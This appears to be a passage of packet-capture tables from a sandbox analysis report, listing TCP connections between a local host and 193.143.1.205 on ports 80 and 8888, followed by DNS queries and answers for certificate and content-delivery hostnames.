Jan 11, 2025 02:18:47.610049009 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610054016 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.610061884 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610074997 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610088110 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610094070 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.610099077 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610110044 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610116005 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.610120058 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610129118 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.610133886 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610155106 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.610158920 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610171080 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610182047 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610198021 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.610220909 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.610428095 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610440016 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610450983 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610461950 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610474110 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.610475063 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610486984 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610488892 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.610497952 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610510111 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610517025 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.610522032 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610533953 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610552073 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610555887 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.610563993 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610574961 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610578060 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.610591888 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.610807896 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610830069 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610841036 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.610841990 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610855103 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610872030 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.611033916 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.611044884 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.611056089 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.611063957 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.611068010 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.611089945 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.611148119 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.611159086 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.611169100 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.611180067 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.611185074 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.611197948 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.611207962 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.611210108 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.611221075 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.611224890 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.611232042 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.611244917 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.611253023 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.611258984 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.611268997 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.611291885 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.611320972 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.825437069 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.825475931 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.965646982 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.970699072 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.970726967 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.970741034 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.970753908 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.970767021 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.970767975 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.970781088 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.970786095 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.970798969 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.970828056 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.970952988 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.970964909 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.970978022 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.970988035 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.970993042 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.971010923 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.971173048 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.971184969 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.971196890 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.971204996 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.971208096 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.971229076 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.971232891 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.971245050 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.971257925 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.971260071 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.971270084 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.971283913 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.971291065 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.971307039 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.971693039 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.971704960 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.971749067 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.971838951 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.971851110 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.971863985 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.971875906 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.971878052 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.971889019 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.971899986 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.971904039 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.971957922 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.971963882 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.971976995 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.971987963 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.971999884 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.972012043 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.972022057 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.972024918 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.972037077 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.972047091 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.972049952 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.972064018 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.972073078 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.972078085 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.972094059 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.972105980 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.972904921 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.972917080 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.972928047 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.972940922 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.972944975 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.972953081 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.972964048 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.972973108 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.972976923 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.972989082 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.972989082 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.973001003 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.973012924 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.973025084 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.973030090 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.973037958 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.973051071 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.973057032 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.973064899 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.973073959 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.973093987 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.973792076 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.973803997 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.973815918 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.973829031 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.973835945 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.973841906 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.973854065 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.973860979 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.973867893 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.973880053 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.973885059 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.973891973 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.973907948 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.973910093 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.973920107 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.973932981 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.973937035 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.973947048 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.973958969 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.973961115 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.973972082 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.973984003 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.973988056 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.974009991 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.974725008 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.974737883 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.974750996 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.974762917 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.974766970 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.974776030 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.974787951 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.974792004 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.974800110 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.974812984 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.974817038 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.974824905 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.974836111 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.974841118 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.974848032 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.974864960 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.974879026 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.974890947 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.974903107 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.974906921 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.974915981 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.974929094 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.974931955 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.974941969 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.974961996 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.975717068 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.975728989 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.975742102 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.975750923 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.975755930 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.975768089 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.975775957 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.975780964 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.975792885 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.975805044 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.975815058 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.975816011 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.975828886 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.975833893 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.975843906 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.975847960 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.975860119 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.975872993 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.975876093 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.975884914 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.975897074 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.975903988 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.975909948 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.975920916 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.975939035 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.975977898 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.976772070 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.976785898 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.976797104 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.976808071 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.976823092 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.976825953 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.976835012 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.976839066 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.976851940 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.976864100 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.976876020 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.976881981 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.976887941 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.976901054 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.976912022 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.976913929 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.976923943 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.976927042 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.976941109 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.976948023 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.976953030 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.976967096 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.976973057 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.977005959 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.977693081 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.977705956 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.977718115 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.977730036 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.977736950 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.977742910 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.977756023 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.977765083 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.977770090 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.977782965 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.977787018 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.977796078 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.977807045 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.977812052 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.977819920 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.977832079 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.977837086 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.977844000 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.977858067 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.977866888 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.977869987 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.977876902 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.977883101 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.977926016 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.978513002 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.978533983 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.978544950 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.978550911 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.978555918 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.978568077 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.978578091 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.978579998 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.978593111 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.978595018 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.978605986 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.978619099 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.978621960 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.978631020 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.978646040 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.978661060 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.978661060 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.978672981 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.978681087 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.978684902 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.978697062 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.978707075 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.978708982 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.978720903 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.978734970 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.978734970 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.978748083 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.978753090 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.978760958 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.978779078 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.979348898 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.979362011 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.979377985 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.979381084 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.979394913 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.979404926 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.979407072 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.979433060 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:48.191267967 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:48.197432995 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:48.657830954 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:49.078257084 CET	49733	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:49.083153009 CET	8888	49733	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:49.083236933 CET	49733	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:49.083439112 CET	49733	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:49.088217974 CET	8888	49733	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:49.887953043 CET	8888	49733	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:49.934269905 CET	49733	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:50.195568085 CET	49733	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:18:57.950474024 CET	50199	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:18:57.950474024 CET	192.168.2.6	1.1.1.1	0x223f	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:18:57.957941055 CET	1.1.1.1	192.168.2.6	0x223f	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:18:59.262929916 CET	1.1.1.1	192.168.2.6	0x9900	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:18:59.262929916 CET	1.1.1.1	192.168.2.6	0x9900	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:19:13.901206017 CET	1.1.1.1	192.168.2.6	0xdae1	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:19:13.901206017 CET	1.1.1.1	192.168.2.6	0xdae1	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:19:37.982228994 CET	1.1.1.1	192.168.2.6	0x46da	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:19:37.982228994 CET	1.1.1.1	192.168.2.6	0x46da	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
